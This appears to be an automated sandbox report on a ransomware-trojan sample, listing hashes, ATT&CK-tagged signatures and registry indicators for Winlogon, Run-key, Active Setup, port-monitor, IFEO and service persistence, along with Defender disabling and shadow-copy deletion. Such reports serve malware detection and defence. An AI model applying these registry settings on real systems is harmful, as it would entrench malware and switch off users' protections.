68e43cb41e733b5e3a319e311cb27ee23003fdc6308225ed83a551e568bd5198

Analysis

max time kernel
150s
max time network
146s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
27/06/2026, 17:04

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
x_plfg.exe
Size 345KB
Sample260627-vlepcsby91
SHA256 68e43cb41e733b5e3a319e311cb27ee23003fdc6308225ed83a551e568bd5198
MD5 37de1c0c862d6429d885c9b10a4c7afb
SHA1 c173e9abb5c70e38e72f74e33524a127c28d0cfc
SHA512 8558b23ab12ad6a3ea3d0ad0588adc83b086e6fd1ae586f9f249d3684b1cc70370216546123315dbbb3d6df99e90441cfda957633283b9b48fde2ee6bcdb1c45
SSDEEP 6144:lv0k3oagSOrpigJ6EBzMQECf+1JwXMO9bbykUUmZyrUdjv:lvl4aErpigJ/MQEC/XMOBmbOI
TLSH
T160743A2BE7A348FCC597D13496E797B2A031BD8C03247D1E1694D7323F39A640FA9968
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion evasion execution impact persistence privilege_escalation ransomware trojan

Malware Config

Signatures

Modifies WinLogon for persistence 2 TTPs 8 IoCs

persistence

Winlogon Helper DLL

T1547.004

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit = "C:\\Windows\\system32\\userinit.exe,,\"C:\\Users\\Admin\\AppData\\Local\\Temp\\x_plfg.exe\""	x_plfg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Users\\Admin\\AppData\\Local\\Temp\\x_plfg.exe\""	x_plfg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit = "C:\\Windows\\system32\\userinit.exe,,\"C:\\Users\\Admin\\AppData\\Local\\Temp\\x_plfg.exe\""	x_plfg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Users\\Admin\\AppData\\Local\\Temp\\x_plfg.exe\""	x_plfg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit = "C:\\Windows\\system32\\userinit.exe,,\"C:\\Users\\Admin\\AppData\\Local\\Temp\\x_plfg.exe\""	x_plfg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Users\\Admin\\AppData\\Local\\Temp\\x_plfg.exe\""	x_plfg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit = "C:\\Windows\\system32\\userinit.exe,,\"C:\\Users\\Admin\\AppData\\Local\\Temp\\x_plfg.exe\""	x_plfg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Users\\Admin\\AppData\\Local\\Temp\\x_plfg.exe\""	x_plfg.exe

Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	reg.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 8 IoCs

defense_evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Adds policy Run key to start application 2 TTPs 15 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run	x_plfg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\MsCore = "C:\\Users\\Admin\\AppData\\Local\\Temp\\x_plfg.exe"	x_plfg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\CoreSvc = "C:\\Users\\Admin\\AppData\\Local\\Temp\\x_plfg.exe"	x_plfg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\HelperCore = "C:\\Users\\Admin\\AppData\\Local\\Temp\\x_plfg.exe"	x_plfg.exe
Key created	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run	x_plfg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\MsProc = "C:\\Users\\Admin\\AppData\\Local\\Temp\\x_plfg.exe"	x_plfg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run	x_plfg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run	x_plfg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\AgentCore = "C:\\Users\\Admin\\AppData\\Local\\Temp\\x_plfg.exe"	x_plfg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run	x_plfg.exe
Key created	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run	x_plfg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\UpdateAgent = "C:\\Users\\Admin\\AppData\\Local\\Temp\\x_plfg.exe"	x_plfg.exe
Key created	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run	x_plfg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\LoaderHost = "C:\\Users\\Admin\\AppData\\Local\\Temp\\x_plfg.exe"	x_plfg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\Core64 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\x_plfg.exe"	x_plfg.exe

Boot or Logon Autostart Execution: Active Setup 2 TTPs 7 IoCs

Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

persistence

Active Setup

T1547.014

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Active Setup\Installed Components\{WinCoreSysAgent-lvrium}\StubPath = "C:\\Users\\Admin\\AppData\\Local\\Temp\\x_plfg.exe"	x_plfg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Active Setup\Installed Components\{RuntimeSvcUpdate64-lvrium}	x_plfg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Active Setup\Installed Components\{RuntimeSvcUpdate64-lvrium}\StubPath = "C:\\Users\\Admin\\AppData\\Local\\Temp\\x_plfg.exe"	x_plfg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Active Setup\Installed Components\{NetHostAgentSvc-lvrium}\StubPath = "C:\\Users\\Admin\\AppData\\Local\\Temp\\x_plfg.exe"	x_plfg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Active Setup\Installed Components\{SysMonitorCoreMgr-lvrium}	x_plfg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Active Setup\Installed Components\{SysMonitorCoreMgr-lvrium}\StubPath = "C:\\Users\\Admin\\AppData\\Local\\Temp\\x_plfg.exe"	x_plfg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Active Setup\Installed Components\{WinCoreSysAgent-lvrium}	x_plfg.exe

Boot or Logon Autostart Execution: Port Monitors 1 TTPs 7 IoCs

Adversaries may use port monitors to run an adversary supplied DLL during system boot for persistence or privilege escalation.

persistence

Port Monitors

T1547.010

description	ioc	Process
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Print\Monitors\Ms64	x_plfg.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Print\Monitors\Ms64\Driver = "C:\\Users\\Admin\\AppData\\Local\\Temp\\x_plfg.exe"	x_plfg.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Print\Monitors\CoreMonitor	x_plfg.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Print\Monitors\CoreMonitor\Driver = "C:\\Users\\Admin\\AppData\\Local\\Temp\\x_plfg.exe"	x_plfg.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Print\Monitors\NetMgr	x_plfg.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Print\Monitors\NetMgr\Driver = "C:\\Users\\Admin\\AppData\\Local\\Temp\\x_plfg.exe"	x_plfg.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Print\Monitors\WinProc\Driver = "C:\\Users\\Admin\\AppData\\Local\\Temp\\x_plfg.exe"	x_plfg.exe

Disables one or more Microsoft Defender components 1 TTPs 14 IoCs

Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

defense_evasion

Disable or Modify Tools

T1562.001

pid	Process
17572	powershell.exe
20288	powershell.exe
19880	powershell.exe
15772	powershell.exe
4956	powershell.exe
17936	powershell.exe
16848	powershell.exe
15772	powershell.exe
868	powershell.exe
20284	powershell.exe
14932	powershell.exe
8956	powershell.exe
6604	powershell.exe
17432	powershell.exe

Event Triggered Execution: AppInit DLLs 1 TTPs
Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by AppInit DLLs loaded into processes.
persistence privilege_escalation

AppInit DLLs
T1546.010

Event Triggered Execution: Image File Execution Options Injection 1 TTPs 7 IoCs

persistence

Image File Execution Options Injection

T1546.012

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\x_plfg.exe"	x_plfg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe	x_plfg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\x_plfg.exe"	x_plfg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe	x_plfg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\x_plfg.exe"	x_plfg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe	x_plfg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\x_plfg.exe"	x_plfg.exe

Sets service image path in registry 3 TTPs 4 IoCs

This determines the executable launched when a service starts. It can be used to establish persistence.

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Windows Service

T1543.003

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\HelperHost\ImagePath = "C:\\Users\\Admin\\AppData\\Local\\Temp\\x_plfg.exe"	x_plfg.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\RuntimeTask\ImagePath = "C:\\Users\\Admin\\AppData\\Local\\Temp\\x_plfg.exe"	x_plfg.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WinAgent\ImagePath = "C:\\Users\\Admin\\AppData\\Local\\Temp\\x_plfg.exe"	x_plfg.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\HelperTask\ImagePath = "C:\\Users\\Admin\\AppData\\Local\\Temp\\x_plfg.exe"	x_plfg.exe

Checks computer location settings 2 TTPs 64 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\Control Panel\International\Geo\Nation	x_plfg.exe
Key value queried	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\Control Panel\International\Geo\Nation	x_plfg.exe
Key value queried	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\Control Panel\International\Geo\Nation	x_plfg.exe
Key value queried	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\Control Panel\International\Geo\Nation	x_plfg.exe
Key value queried	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\Control Panel\International\Geo\Nation	x_plfg.exe
Key value queried	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\Control Panel\International\Geo\Nation	x_plfg.exe
Key value queried	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\Control Panel\International\Geo\Nation	x_plfg.exe
Key value queried	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\Control Panel\International\Geo\Nation	x_plfg.exe
Key value queried	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\Control Panel\International\Geo\Nation	x_plfg.exe
Key value queried	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\Control Panel\International\Geo\Nation	x_plfg.exe
Key value queried	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\Control Panel\International\Geo\Nation	x_plfg.exe
Key value queried	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\Control Panel\International\Geo\Nation	x_plfg.exe
Key value queried	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\Control Panel\International\Geo\Nation	x_plfg.exe
Key value queried	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\Control Panel\International\Geo\Nation	x_plfg.exe
Key value queried	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\Control Panel\International\Geo\Nation	x_plfg.exe
Key value queried	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\Control Panel\International\Geo\Nation	x_plfg.exe
Key value queried	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\Control Panel\International\Geo\Nation	x_plfg.exe
Key value queried	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\Control Panel\International\Geo\Nation	x_plfg.exe
Key value queried	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\Control Panel\International\Geo\Nation	x_plfg.exe
Key value queried	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\Control Panel\International\Geo\Nation	x_plfg.exe
Key value queried	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\Control Panel\International\Geo\Nation	x_plfg.exe
Key value queried	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\Control Panel\International\Geo\Nation	x_plfg.exe
Key value queried	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\Control Panel\International\Geo\Nation	x_plfg.exe
Key value queried	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\Control Panel\International\Geo\Nation	x_plfg.exe
Key value queried	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\Control Panel\International\Geo\Nation	x_plfg.exe
Key value queried	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\Control Panel\International\Geo\Nation	x_plfg.exe
Key value queried	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\Control Panel\International\Geo\Nation	x_plfg.exe
Key value queried	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\Control Panel\International\Geo\Nation	x_plfg.exe
Key value queried	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\Control Panel\International\Geo\Nation	x_plfg.exe
Key value queried	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\Control Panel\International\Geo\Nation	x_plfg.exe
Key value queried	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\Control Panel\International\Geo\Nation	x_plfg.exe
Key value queried	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\Control Panel\International\Geo\Nation	x_plfg.exe
Key value queried	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\Control Panel\International\Geo\Nation	x_plfg.exe
Key value queried	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\Control Panel\International\Geo\Nation	x_plfg.exe
Key value queried	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\Control Panel\International\Geo\Nation	x_plfg.exe
Key value queried	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\Control Panel\International\Geo\Nation	x_plfg.exe
Key value queried	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\Control Panel\International\Geo\Nation	x_plfg.exe
Key value queried	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\Control Panel\International\Geo\Nation	x_plfg.exe
Key value queried	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\Control Panel\International\Geo\Nation	x_plfg.exe
Key value queried	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\Control Panel\International\Geo\Nation	x_plfg.exe
Key value queried	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\Control Panel\International\Geo\Nation	x_plfg.exe
Key value queried	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\Control Panel\International\Geo\Nation	x_plfg.exe
Key value queried	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\Control Panel\International\Geo\Nation	x_plfg.exe
Key value queried	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\Control Panel\International\Geo\Nation	x_plfg.exe
Key value queried	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\Control Panel\International\Geo\Nation	x_plfg.exe
Key value queried	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\Control Panel\International\Geo\Nation	x_plfg.exe
Key value queried	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\Control Panel\International\Geo\Nation	x_plfg.exe
Key value queried	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\Control Panel\International\Geo\Nation	x_plfg.exe
Key value queried	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\Control Panel\International\Geo\Nation	x_plfg.exe
Key value queried	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\Control Panel\International\Geo\Nation	x_plfg.exe
Key value queried	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\Control Panel\International\Geo\Nation	x_plfg.exe
Key value queried	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\Control Panel\International\Geo\Nation	x_plfg.exe
Key value queried	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\Control Panel\International\Geo\Nation	x_plfg.exe
Key value queried	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\Control Panel\International\Geo\Nation	x_plfg.exe
Key value queried	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\Control Panel\International\Geo\Nation	x_plfg.exe
Key value queried	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\Control Panel\International\Geo\Nation	x_plfg.exe
Key value queried	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\Control Panel\International\Geo\Nation	x_plfg.exe
Key value queried	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\Control Panel\International\Geo\Nation	x_plfg.exe
Key value queried	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\Control Panel\International\Geo\Nation	x_plfg.exe
Key value queried	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\Control Panel\International\Geo\Nation	x_plfg.exe
Key value queried	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\Control Panel\International\Geo\Nation	x_plfg.exe
Key value queried	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\Control Panel\International\Geo\Nation	x_plfg.exe
Key value queried	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\Control Panel\International\Geo\Nation	x_plfg.exe
Key value queried	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\Control Panel\International\Geo\Nation	x_plfg.exe

Impair Defenses: Safe Mode Boot 1 TTPs 2 IoCs

defense_evasion

Safe Mode Boot

T1562.009

description	ioc	Process
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\HelperHost	x_plfg.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\HelperHost\ = "Service"	x_plfg.exe

Registers new Windows logon scripts automatically executed at logon. 1 TTPs 4 IoCs

persistence

Logon Script (Windows)

T1037.001

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\Environment\UserInitMprLogonScript = "C:\\Users\\Admin\\AppData\\Local\\Temp\\x_plfg.exe"	x_plfg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\Environment\UserInitMprLogonScript = "C:\\Users\\Admin\\AppData\\Local\\Temp\\x_plfg.exe"	x_plfg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\Environment\UserInitMprLogonScript = "C:\\Users\\Admin\\AppData\\Local\\Temp\\x_plfg.exe"	x_plfg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\Environment\UserInitMprLogonScript = "C:\\Users\\Admin\\AppData\\Local\\Temp\\x_plfg.exe"	x_plfg.exe

Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Adds Run key to start application 2 TTPs 15 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysHost = "C:\\Users\\Admin\\AppData\\Local\\Temp\\x_plfg.exe"	x_plfg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\HostProc = "C:\\Users\\Admin\\AppData\\Local\\Temp\\x_plfg.exe"	x_plfg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Loader32 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\x_plfg.exe"	x_plfg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Ms64 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\x_plfg.exe"	x_plfg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Net64 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\x_plfg.exe"	x_plfg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\HelperMgr = "C:\\Users\\Admin\\AppData\\Local\\Temp\\x_plfg.exe"	x_plfg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\HostAgent = "C:\\Users\\Admin\\AppData\\Local\\Temp\\x_plfg.exe"	x_plfg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\SvcCore = "C:\\Users\\Admin\\AppData\\Local\\Temp\\x_plfg.exe"	x_plfg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\AgentProc = "C:\\Users\\Admin\\AppData\\Local\\Temp\\x_plfg.exe"	x_plfg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysProc = "C:\\Users\\Admin\\AppData\\Local\\Temp\\x_plfg.exe"	x_plfg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\HostCore = "C:\\Users\\Admin\\AppData\\Local\\Temp\\x_plfg.exe"	x_plfg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\AgentHelper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\x_plfg.exe"	x_plfg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\AgentMgr = "C:\\Users\\Admin\\AppData\\Local\\Temp\\x_plfg.exe"	x_plfg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\CoreCore = "C:\\Users\\Admin\\AppData\\Local\\Temp\\x_plfg.exe"	x_plfg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\MsHost = "C:\\Users\\Admin\\AppData\\Local\\Temp\\x_plfg.exe"	x_plfg.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 14 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
20288	powershell.exe
16848	powershell.exe
17572	powershell.exe
19880	powershell.exe
20284	powershell.exe
14932	powershell.exe
15772	powershell.exe
4956	powershell.exe
8956	powershell.exe
6604	powershell.exe
17936	powershell.exe
17432	powershell.exe
15772	powershell.exe
868	powershell.exe

Looks up external IP address via web service 3 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
17	api.ipify.org
18	api.ipify.org
19	api.ipify.org

Drops file in System32 directory 5 IoCs

description	ioc	Process
File created	C:\Windows\system32\config\systemprofile\AppData\Roaming\NetCore.exe	x_plfg.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\AgentMonitor.exe	x_plfg.exe
File created	C:\Windows\System32\RuntimeProc.exe	x_plfg.exe
File created	C:\Windows\SysWOW64\UpdateHost.exe	x_plfg.exe
File created	C:\Windows\system32\config\systemprofile\Desktop\MsSvc.exe	x_plfg.exe

Drops file in Program Files directory 2 IoCs

description	ioc	Process
File created	C:\Program Files\Helper32.exe	x_plfg.exe
File created	C:\Program Files (x86)\MsSvc.exe	x_plfg.exe

Drops file in Windows directory 7 IoCs

description	ioc	Process
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\WinSvc.exe	x_plfg.exe
File created	C:\Windows\HelperHost.exe	x_plfg.exe
